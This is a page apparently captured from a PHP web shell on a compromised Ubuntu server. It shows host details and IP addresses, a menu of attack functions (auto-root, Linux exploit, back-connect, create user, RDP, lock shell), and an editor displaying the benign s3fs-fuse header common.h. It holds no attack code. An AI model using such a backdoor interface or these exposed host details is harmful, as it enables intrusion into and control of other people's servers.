Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.227.72.27
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
ubuntu /
s3fs-fuse /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
.deps
[ DIR ]
drwxrwxr-x
Makefile
32.69
KB
-rw-rw-r--
Makefile.am
1.57
KB
-rw-rw-r--
Makefile.in
33.49
KB
-rw-rw-r--
addhead.cpp
7.13
KB
-rw-rw-r--
addhead.h
1.96
KB
-rw-rw-r--
addhead.o
574.42
KB
-rw-rw-r--
cache.cpp
20.22
KB
-rw-rw-r--
cache.h
5.72
KB
-rw-rw-r--
cache.o
1.12
MB
-rw-rw-r--
common.h
6.94
KB
-rw-rw-r--
common_auth.cpp
2.37
KB
-rw-rw-r--
common_auth.o
157.23
KB
-rw-rw-r--
curl.cpp
143.81
KB
-rw-rw-r--
curl.h
24.85
KB
-rw-rw-r--
curl.o
4.23
MB
-rw-rw-r--
fdcache.cpp
79.11
KB
-rw-rw-r--
fdcache.h
10.04
KB
-rw-rw-r--
fdcache.o
1.91
MB
-rw-rw-r--
gnutls_auth.cpp
10.44
KB
-rw-rw-r--
nss_auth.cpp
7.46
KB
-rw-rw-r--
openssl_auth.cpp
9.59
KB
-rw-rw-r--
openssl_auth.o
106.31
KB
-rw-rw-r--
psemaphore.h
2.01
KB
-rw-rw-r--
s3fs
5.94
MB
-rwxrwxr-x
s3fs.cpp
163.04
KB
-rw-rw-r--
s3fs.h
2.73
KB
-rw-rw-r--
s3fs.o
4.31
MB
-rw-rw-r--
s3fs_auth.h
2.21
KB
-rw-rw-r--
s3fs_util.cpp
49.47
KB
-rw-rw-r--
s3fs_util.h
4.78
KB
-rw-rw-r--
s3fs_util.o
1.14
MB
-rw-rw-r--
string_util.cpp
14.98
KB
-rw-rw-r--
string_util.h
2.77
KB
-rw-rw-r--
string_util.o
655.09
KB
-rw-rw-r--
test_string_util
461.34
KB
-rwxrwxr-x
test_string_util.cpp
5.06
KB
-rw-rw-r--
test_string_util.o
394.03
KB
-rw-rw-r--
test_util.h
2.85
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : common.h
/* * s3fs - FUSE-based file system backed by Amazon S3 * * Copyright(C) 2007 Randy Rizun <rrizun@gmail.com> * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ #ifndef S3FS_COMMON_H_ #define S3FS_COMMON_H_ #include <stdlib.h> #include "../config.h" // // Extended attribute // #ifdef HAVE_SYS_EXTATTR_H #include <sys/extattr.h> #elif HAVE_ATTR_XATTR_H #include <attr/xattr.h> #elif HAVE_SYS_XATTR_H #include <sys/xattr.h> #endif // // Macro // static inline const char *SAFESTRPTR(const char *strptr) { return strptr ? strptr : ""; } // // Debug level // enum s3fs_log_level{ S3FS_LOG_CRIT = 0, // LOG_CRIT S3FS_LOG_ERR = 1, // LOG_ERR S3FS_LOG_WARN = 3, // LOG_WARNING S3FS_LOG_INFO = 7, // LOG_INFO S3FS_LOG_DBG = 15 // LOG_DEBUG }; // // Debug macros // #define IS_S3FS_LOG_CRIT() (S3FS_LOG_CRIT == debug_level) #define IS_S3FS_LOG_ERR() (S3FS_LOG_ERR == (debug_level & S3FS_LOG_DBG)) #define IS_S3FS_LOG_WARN() (S3FS_LOG_WARN == (debug_level & S3FS_LOG_DBG)) #define IS_S3FS_LOG_INFO() (S3FS_LOG_INFO == (debug_level & S3FS_LOG_DBG)) #define IS_S3FS_LOG_DBG() (S3FS_LOG_DBG == (debug_level & S3FS_LOG_DBG)) #define S3FS_LOG_LEVEL_TO_SYSLOG(level) \ ( S3FS_LOG_DBG == (level & S3FS_LOG_DBG) ? LOG_DEBUG : \ S3FS_LOG_INFO == (level & S3FS_LOG_DBG) ? LOG_INFO : \ S3FS_LOG_WARN == (level & S3FS_LOG_DBG) ? LOG_WARNING : \ S3FS_LOG_ERR == (level & S3FS_LOG_DBG) ? LOG_ERR : LOG_CRIT ) #define S3FS_LOG_LEVEL_STRING(level) \ ( S3FS_LOG_DBG == (level & S3FS_LOG_DBG) ? "[DBG] " : \ S3FS_LOG_INFO == (level & S3FS_LOG_DBG) ? "[INF] " : \ S3FS_LOG_WARN == (level & S3FS_LOG_DBG) ? "[WAN] " : \ S3FS_LOG_ERR == (level & S3FS_LOG_DBG) ? "[ERR] " : "[CRT] " ) #define S3FS_LOG_NEST_MAX 4 #define S3FS_LOG_NEST(nest) (nest < S3FS_LOG_NEST_MAX ? s3fs_log_nest[nest] : s3fs_log_nest[S3FS_LOG_NEST_MAX - 1]) #define S3FS_LOW_LOGPRN(level, fmt, ...) \ do{ \ if(S3FS_LOG_CRIT == level || (S3FS_LOG_CRIT != debug_level && level == (debug_level & level))){ \ if(foreground){ \ fprintf(stdout, "%s%s:%s(%d): " fmt "%s\n", S3FS_LOG_LEVEL_STRING(level), __FILE__, __func__, __LINE__, __VA_ARGS__); \ }else{ \ syslog(S3FS_LOG_LEVEL_TO_SYSLOG(level), "%s%s:%s(%d): " fmt "%s", instance_name.c_str(), __FILE__, __func__, __LINE__, __VA_ARGS__); \ } \ } \ }while(0) #define S3FS_LOW_LOGPRN2(level, nest, fmt, ...) \ do{ \ if(S3FS_LOG_CRIT == level || (S3FS_LOG_CRIT != debug_level && level == (debug_level & level))){ \ if(foreground){ \ fprintf(stdout, "%s%s%s:%s(%d): " fmt "%s\n", S3FS_LOG_LEVEL_STRING(level), S3FS_LOG_NEST(nest), __FILE__, __func__, __LINE__, __VA_ARGS__); \ }else{ \ syslog(S3FS_LOG_LEVEL_TO_SYSLOG(level), "%s%s" fmt "%s", instance_name.c_str(), S3FS_LOG_NEST(nest), __VA_ARGS__); \ } \ } \ }while(0) #define S3FS_LOW_LOGPRN_EXIT(fmt, ...) \ do{ \ if(foreground){ \ fprintf(stderr, "s3fs: " fmt "%s\n", __VA_ARGS__); \ }else{ \ fprintf(stderr, "s3fs: " fmt "%s\n", __VA_ARGS__); \ syslog(S3FS_LOG_LEVEL_TO_SYSLOG(S3FS_LOG_CRIT), "%ss3fs: " fmt "%s", instance_name.c_str(), __VA_ARGS__); \ } \ }while(0) // Special macro for init message #define S3FS_PRN_INIT_INFO(fmt, ...) \ do{ \ if(foreground){ \ fprintf(stdout, "%s%s%s:%s(%d): " fmt "%s\n", S3FS_LOG_LEVEL_STRING(S3FS_LOG_INFO), S3FS_LOG_NEST(0), __FILE__, __func__, __LINE__, __VA_ARGS__, ""); \ }else{ \ syslog(S3FS_LOG_LEVEL_TO_SYSLOG(S3FS_LOG_INFO), "%s%s" fmt "%s", instance_name.c_str(), S3FS_LOG_NEST(0), __VA_ARGS__, ""); \ } \ }while(0) // [NOTE] // small trick for VA_ARGS // #define S3FS_PRN_EXIT(fmt, ...) S3FS_LOW_LOGPRN_EXIT(fmt, ##__VA_ARGS__, "") #define S3FS_PRN_CRIT(fmt, ...) S3FS_LOW_LOGPRN(S3FS_LOG_CRIT, fmt, ##__VA_ARGS__, "") #define S3FS_PRN_ERR(fmt, ...) S3FS_LOW_LOGPRN(S3FS_LOG_ERR, fmt, ##__VA_ARGS__, "") #define S3FS_PRN_WARN(fmt, ...) S3FS_LOW_LOGPRN(S3FS_LOG_WARN, fmt, ##__VA_ARGS__, "") #define S3FS_PRN_DBG(fmt, ...) S3FS_LOW_LOGPRN(S3FS_LOG_DBG, fmt, ##__VA_ARGS__, "") #define S3FS_PRN_INFO(fmt, ...) S3FS_LOW_LOGPRN2(S3FS_LOG_INFO, 0, fmt, ##__VA_ARGS__, "") #define S3FS_PRN_INFO0(fmt, ...) S3FS_LOG_INFO(fmt, __VA_ARGS__) #define S3FS_PRN_INFO1(fmt, ...) S3FS_LOW_LOGPRN2(S3FS_LOG_INFO, 1, fmt, ##__VA_ARGS__, "") #define S3FS_PRN_INFO2(fmt, ...) S3FS_LOW_LOGPRN2(S3FS_LOG_INFO, 2, fmt, ##__VA_ARGS__, "") #define S3FS_PRN_INFO3(fmt, ...) S3FS_LOW_LOGPRN2(S3FS_LOG_INFO, 3, fmt, ##__VA_ARGS__, "") #define S3FS_PRN_CURL(fmt, ...) S3FS_LOW_LOGPRN2(S3FS_LOG_CRIT, 0, fmt, ##__VA_ARGS__, "") // // Typedef // struct header_nocase_cmp : public std::binary_function<std::string, std::string, bool>{ bool operator()(const std::string &strleft, const std::string &strright) const { return (strcasecmp(strleft.c_str(), strright.c_str()) < 0); } }; typedef std::map<std::string, std::string, header_nocase_cmp> headers_t; // // Header "x-amz-meta-xattr" is for extended attributes. // This header is url encoded string which is json formatted. // x-amz-meta-xattr:urlencode({"xattr-1":"base64(value-1)","xattr-2":"base64(value-2)","xattr-3":"base64(value-3)"}) // typedef struct xattr_value{ unsigned char* pvalue; size_t length; explicit xattr_value(unsigned char* pval = NULL, size_t len = 0) : pvalue(pval), length(len) {} ~xattr_value() { delete[] pvalue; } }XATTRVAL, *PXATTRVAL; typedef std::map<std::string, PXATTRVAL> xattrs_t; // // Global variables // // TODO: namespace these extern bool foreground; extern bool nomultipart; extern bool pathrequeststyle; extern bool complement_stat; extern std::string program_name; extern std::string service_path; extern std::string host; extern std::string bucket; extern std::string mount_prefix; extern std::string endpoint; extern std::string cipher_suites; extern std::string instance_name; extern s3fs_log_level debug_level; extern const char* s3fs_log_nest[S3FS_LOG_NEST_MAX]; #endif // S3FS_COMMON_H_ /* * Local variables: * tab-width: 4 * c-basic-offset: 4 * End: * vim600: noet sw=4 ts=4 fdm=marker * vim<600: noet sw=4 ts=4 */
Close